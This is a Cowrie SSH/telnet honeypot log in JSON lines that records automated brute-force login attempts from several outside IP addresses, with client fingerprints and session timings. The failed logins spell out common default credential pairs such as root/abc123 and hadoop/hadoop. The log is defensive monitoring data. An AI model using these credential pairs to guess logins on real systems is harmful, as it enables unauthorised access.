{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:02.313469Z","src_ip":"165.154.137.186","session":"d4950ff44b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:03.572786Z","src_ip":"165.154.137.186","session":"d4950ff44b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2b350c8f28","protocol":"ssh","message":"New connection: 27.71.230.31:34830 (159.203.135.109:22) [session: cf2b350c8f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:09.280943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:09.330432Z","src_ip":"27.71.230.31","session":"cf2b350c8f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:09.640493Z","src_ip":"27.71.230.31","session":"cf2b350c8f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38228,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fbcde2c5eca","protocol":"ssh","message":"New connection: 165.154.137.186:38228 (10.17.0.5:22) [session: 5fbcde2c5eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:10.434421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:10.441049Z","src_ip":"165.154.137.186","session":"5fbcde2c5eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:10.696047Z","src_ip":"165.154.137.186","session":"5fbcde2c5eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:11.464056Z","src_ip":"165.154.137.186","session":"5fbcde2c5eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:12.720876Z","src_ip":"165.154.137.186","session":"5fbcde2c5eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@123","message":"login attempt [root/User@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:15.311512Z","src_ip":"27.71.230.31","session":"cf2b350c8f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b49042bb9c","protocol":"ssh","message":"New connection: 165.154.137.186:39872 (10.17.0.5:22) [session: d1b49042bb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:20.809323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:20.816678Z","src_ip":"165.154.137.186","session":"d1b49042bb9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:21.074147Z","src_ip":"165.154.137.186","session":"d1b49042bb9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:21.840047Z","src_ip":"165.154.137.186","session":"d1b49042bb9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:21.881872Z","src_ip":"27.71.230.31","session":"cf2b350c8f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:23.097328Z","src_ip":"165.154.137.186","session":"d1b49042bb9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33254,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe077f71cf2f","protocol":"ssh","message":"New connection: 165.154.137.186:33254 (10.17.0.5:22) [session: fe077f71cf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:34.605883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:34.611635Z","src_ip":"165.154.137.186","session":"fe077f71cf2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:34.865870Z","src_ip":"165.154.137.186","session":"fe077f71cf2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:35.890440Z","src_ip":"165.154.137.186","session":"fe077f71cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:37.152997Z","src_ip":"165.154.137.186","session":"fe077f71cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":58241,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e910dc8a975","protocol":"ssh","message":"New connection: 170.80.65.140:58241 (10.17.0.5:22) [session: 7e910dc8a975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:38.983723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:38.988039Z","src_ip":"170.80.65.140","session":"7e910dc8a975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:39.111744Z","src_ip":"170.80.65.140","session":"7e910dc8a975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mdm","password":"mdm","message":"login attempt [mdm/mdm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:39.639540Z","src_ip":"170.80.65.140","session":"7e910dc8a975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:40.767343Z","src_ip":"170.80.65.140","session":"7e910dc8a975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36534,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c7df49a6b0","protocol":"ssh","message":"New connection: 165.154.137.186:36534 (10.17.0.5:22) [session: 13c7df49a6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:49.495486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:49.499770Z","src_ip":"165.154.137.186","session":"13c7df49a6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:49.770876Z","src_ip":"165.154.137.186","session":"13c7df49a6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:50.583996Z","src_ip":"165.154.137.186","session":"13c7df49a6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:51.857396Z","src_ip":"165.154.137.186","session":"13c7df49a6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36522,"dst_ip":"10.17.0.5","dst_port":22,"session":"568b3d4626fd","protocol":"ssh","message":"New connection: 165.154.137.186:36522 (10.17.0.5:22) [session: 568b3d4626fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:56.954736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:56.959642Z","src_ip":"165.154.137.186","session":"568b3d4626fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38204,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7971051ecbc","protocol":"ssh","message":"New connection: 165.154.137.186:38204 (10.17.0.5:22) [session: a7971051ecbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:57.182204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:57.187293Z","src_ip":"165.154.137.186","session":"a7971051ecbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:57.222488Z","src_ip":"165.154.137.186","session":"568b3d4626fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:57.457450Z","src_ip":"165.154.137.186","session":"a7971051ecbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:58.071506Z","src_ip":"165.154.137.186","session":"568b3d4626fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:58.358651Z","src_ip":"165.154.137.186","session":"a7971051ecbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:59.335760Z","src_ip":"165.154.137.186","session":"568b3d4626fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:59.627685Z","src_ip":"165.154.137.186","session":"a7971051ecbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40174,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ec3d4858d6b","protocol":"telnet","message":"New connection: 128.199.8.54:40174 (159.203.135.109:23) [session: 0ec3d4858d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:03.284806Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57796,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6fd99a3795c","protocol":"telnet","message":"New connection: 107.6.151.170:57796 (159.203.135.109:23) [session: d6fd99a3795c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:18.363442Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55914,"dst_ip":"10.17.0.5","dst_port":22,"session":"776b9699f2fc","protocol":"ssh","message":"New connection: 147.45.199.80:55914 (10.17.0.5:22) [session: 776b9699f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:20.959088Z"}
